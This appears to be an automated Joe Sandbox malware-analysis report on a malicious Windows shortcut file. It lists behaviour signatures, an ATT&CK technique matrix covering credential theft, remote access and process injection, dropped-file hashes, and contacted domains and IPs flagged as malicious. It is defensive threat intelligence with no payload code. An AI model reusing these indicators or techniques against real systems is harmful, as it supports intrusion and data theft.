| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep count: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep count: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Process information queried: | Jump to behavior | ||
| Source: | Process queried: | Jump to behavior | ||
| Source: | Process token adjusted: | Jump to behavior | ||
| Source: | Process token adjusted: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
Stealing of Sensitive Information | |
|---|
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
Remote Access Functionality | |
|---|
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | 11 Command and Scripting Interpreter | 1 Registry Run Keys / Startup Folder | 12 Process Injection | 11 Masquerading | OS Credential Dumping | 21 Security Software Discovery | Remote Services | 11 Archive Collected Data | 11 Encrypted Channel | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
| Credentials | Domains | Default Accounts | 1 PowerShell | 1 DLL Side-Loading | 1 Registry Run Keys / Startup Folder | 41 Virtualization/Sandbox Evasion | LSASS Memory | 12 Process Discovery | Remote Desktop Protocol | Data from Removable Media | 3 Ingress Tool Transfer | Exfiltration Over Bluetooth | Network Denial of Service |
| Email Addresses | DNS Server | Domain Accounts | At | Logon Script (Windows) | 1 DLL Side-Loading | 12 Process Injection | Security Account Manager | 41 Virtualization/Sandbox Evasion | SMB/Windows Admin Shares | Data from Network Shared Drive | 3 Non-Application Layer Protocol | Automated Exfiltration | Data Encrypted for Impact |
| Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | Login Hook | 11 Deobfuscate/Decode Files or Information | NTDS | 1 Application Window Discovery | Distributed Component Object Model | Input Capture | 4 Application Layer Protocol | Traffic Duplication | Data Destruction |
| Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | 1 Obfuscated Files or Information | LSA Secrets | 1 Remote System Discovery | SSH | Keylogging | Fallback Channels | Scheduled Transfer | Data Encrypted for Impact |
| Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | 1 Software Packing | Cached Domain Credentials | 2 System Network Configuration Discovery | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
| DNS | Web Services | External Remote Services | Systemd Timers | Startup Items | Startup Items | 1 DLL Side-Loading | DCSync | 1 File and Directory Discovery | Windows Remote Management | Web Portal Capture | Commonly Used Port | Exfiltration Over C2 Channel | Inhibit System Recovery |
| Network Trust Dependencies | Serverless | Drive-by Compromise | Container Orchestration Job | Scheduled Task/Job | Scheduled Task/Job | Indicator Removal from Tools | Proc Filesystem | 21 System Information Discovery | Cloud Services | Credential API Hooking | Application Layer Protocol | Exfiltration Over Alternative Protocol | Defacement |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 37% | ReversingLabs | Shortcut.Trojan.WinLnk | ||
| 100% | Joe Sandbox ML |
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe |
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| ministryofficedownloadcloudserver.screenpont.xyz | 188.114.97.3 | true | true | unknown | |
| www.google.com | 142.250.186.132 | true | false | unknown | |
| gateway.discord.gg | 162.159.135.234 | true | false | unknown | |
| pmo.gov.pk | 203.101.184.118 | true | true | unknown | |
| www.Elpson.com | unknown | unknown | true | unknown | |
| www.mproton.com | unknown | unknown | true | unknown | |
| 1.1.1.1.in-addr.arpa | unknown | unknown | true | unknown | |
| www.ministryof.gov.pk | unknown | unknown | true | unknown |
| Name | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|
| false | unknown | ||
| true | unknown | ||
| false | unknown | ||
| false | unknown | ||
| false | unknown | ||
| false | unknown |
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| true | unknown | |||
| true | unknown | |||
| false |
| unknown | ||
| false | unknown | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | unknown | |||
| false |
| unknown | ||
| false | unknown | |||
| false | unknown | |||
| false |
| unknown | ||
| false | unknown | |||
| false |
| unknown | ||
| true | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false | unknown | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | unknown | |||
| false |
| unknown | ||
| false | unknown | |||
| false | unknown | |||
| false |
| unknown | ||
| false | unknown | |||
| false |
| unknown | ||
| false | unknown | |||
| false |
| unknown |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 203.101.184.118 | pmo.gov.pk | Pakistan | 9541 | CYBERNET-APCyberInternetServicesPvtLtdPK | true | |
| 162.159.135.234 | gateway.discord.gg | United States | 13335 | CLOUDFLARENETUS | false | |
| 188.114.97.3 | ministryofficedownloadcloudserver.screenpont.xyz | European Union | 13335 | CLOUDFLARENETUS | true | |
| 239.255.255.250 | unknown | Reserved | unknown | unknown | false | |
| 142.250.186.132 | www.google.com | United States | 15169 | GOOGLEUS | false |
| IP |
|---|
| 192.168.2.8 |
| 192.168.2.17 |
| 192.168.2.4 |
| 127.0.0.1 |
| Joe Sandbox version: | 41.0.0 Charoite |
| Analysis ID: | 1522859 |
| Start date and time: | 2024-09-30 18:57:14 +02:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 8m 20s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | default.jbs |
| Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
| Number of analysed new started processes analysed: | 16 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Sample name: | jKSjtQ8W7O.lnkrenamed because original name is a hash value |
| Original Sample Name: | ffb1e4d9253ed97cc381826993a8812ac6c53f7a7d01793e282fc148102bdab3.lnk |
| Detection: | MAL |
| Classification: | mal100.troj.evad.winLNK@26/23@17/9 |
| EGA Information: |
|
| HCA Information: | Failed |
| Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
- Excluded IPs from analysis (whitelisted): 66.102.1.84, 142.250.185.206, 216.58.212.131, 34.104.35.123, 184.28.90.27, 192.229.221.95, 93.184.221.240, 142.250.186.131, 142.250.184.238
- Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
- Execution Graph export aborted for target powershell.exe, PID 6588 because it is empty
- Not all processes where analyzed, report is missing behavior information
- Report size exceeded maximum capacity and may have missing behavior information.
- Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
- VT rate limit hit for: jKSjtQ8W7O.lnk
| Time | Type | Description |
|---|---|---|
| 12:58:21 | API Interceptor | |
| 12:58:23 | API Interceptor |
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 188.114.97.3 | Get hash | malicious | FormBook | Browse |
| |
| Get hash | malicious | RedLine, Xmrig | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | FormBook | Browse |
| ||
| Get hash | malicious | Snake Keylogger | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | DCRat, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | FormBook | Browse |
| ||
| Get hash | malicious | Snake Keylogger | Browse |
| ||
| 162.159.135.234 | Get hash | malicious | Unknown | Browse | ||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Discord Token Stealer | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Dicrord Rat | Browse | |||
| Get hash | malicious | Dicrord Rat | Browse |
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| gateway.discord.gg | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Discord Rat | Browse |
| ||
| Get hash | malicious | Discord Rat | Browse |
| ||
| Get hash | malicious | Blank Grabber, DCRat, Discord Rat, PureLog Stealer, Xmrig, zgRAT | Browse |
| ||
| Get hash | malicious | Discord Rat | Browse |
| ||
| Get hash | malicious | Discord Rat | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| CLOUDFLARENETUS | Get hash | malicious | PureLog Stealer, zgRAT | Browse |
| |
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | FormBook | Browse |
| ||
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| CLOUDFLARENETUS | Get hash | malicious | HTMLPhisher | Browse |
| |
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | FormBook | Browse |
| ||
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT | Browse |
| ||
| CYBERNET-APCyberInternetServicesPvtLtdPK | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Mirai | Browse |
| ||
| Get hash | malicious | Emotet | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | FormBook, PureLog Stealer | Browse |
| ||
| Get hash | malicious | FormBook | Browse |
| ||
| Get hash | malicious | Mirai | Browse |
| ||
| Get hash | malicious | FormBook | Browse |
| ||
| Get hash | malicious | FormBook | Browse |
| ||
| Get hash | malicious | FormBook | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 1138de370e523e824bbca92d049a3777 | Get hash | malicious | HTMLPhisher | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| 28a2c9bd18a11de089ef85a160da29e4 | Get hash | malicious | PureLog Stealer, zgRAT | Browse |
| |
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| 3b5074b1b5d032e5620f69f9f700ff0e | Get hash | malicious | PureLog Stealer, zgRAT | Browse |
| |
| Get hash | malicious | AsyncRAT, DcRat | Browse |
| ||
| Get hash | malicious | DCRat, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | XWorm, Xmrig | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | ScreenConnect Tool | Browse |
| ||
| Get hash | malicious | ScreenConnect Tool | Browse |
|
⊘No context
| Process: | C:\Windows\System32\svchost.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 1310720 |
| Entropy (8bit): | 0.8304424878761655 |
| Encrypted: | false |
| SSDEEP: | 1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAA:RJE+Lfki1GjHwU/+vVhWqp+ |
| MD5: | 32463685792E2FE6E59ACD87798F2112 |
| SHA1: | DFE9DF4EBDF2AA79C2A8A9CF0CE31E1A70FA67B4 |
| SHA-256: | BFBDEBD5E7EC6B4BB8B7B1A37FAF9F9160DC9EAA2980315F13A54908BA5325DD |
| SHA-512: | EF171F47F1748653881C723D103174370E1966B22D0DD9EAF5E5CC59F2E099943AF3E9043721A457BF0D10554E9F680C55BD9B3499E9936E5D57CE65B8DE1F37 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
| Process: | C:\Windows\System32\svchost.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 1048576 |
| Entropy (8bit): | 0.9433046920941188 |
| Encrypted: | false |
| SSDEEP: | 1536:bSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:bazaHvxXy2V2UR |
| MD5: | E806AF514B0CEC9A55137DAAD459EA87 |
| SHA1: | 184FE0BFE1C2A055D0474677AEFD670BA967DF41 |
| SHA-256: | 69436385144EAFEF018BA110C5EEEE89D5F9633BBAC3782F881FD75EAAB97D32 |
| SHA-512: | 48018B7CE5ED0629A546A0C6578EABA2FE0BF23F72A19CF4DEBEBE05B81E34D450A6AC77D52B6B499ED639B6319C632C8E8CCFC67CD583F1DED9A040282F4E20 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
| Process: | C:\Windows\System32\svchost.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 16384 |
| Entropy (8bit): | 0.08070612585527372 |
| Encrypted: | false |
| SSDEEP: | 3:jS/yYeKdV9Xgvll/nqlFcl1ZUllll44d7sC/qllGBnX/l/Tj/k7/t:jiyzcVcll/qlFclQ/le4dV2254 |
| MD5: | 02BC769436FB0EC8367C4411A355C6A6 |
| SHA1: | 29D385FDC5AB787F7860623BEB7CF5E34A9A103A |
| SHA-256: | B389A8E485F013A0E33DB868FD8D56639D710BAB9FF9BA0CD063F7052085146F |
| SHA-512: | 6496442783B5971806F5D02FB69DC24AFE3B4D59B2286BE71C2A455D69CFB24ED9D25F8CE9A84686F15A85B406B3C68614637F18E7BB1C2A9D7E93B358742363 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 11608 |
| Entropy (8bit): | 4.890472898059848 |
| Encrypted: | false |
| SSDEEP: | 192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP |
| MD5: | 8A4B02D8A977CB929C05D4BC2942C5A9 |
| SHA1: | F9A6426CAF2E8C64202E86B07F1A461056626BEA |
| SHA-256: | 624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715 |
| SHA-512: | 38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2 |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Download File
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 3092 |
| Entropy (8bit): | 5.500265952464292 |
| Encrypted: | false |
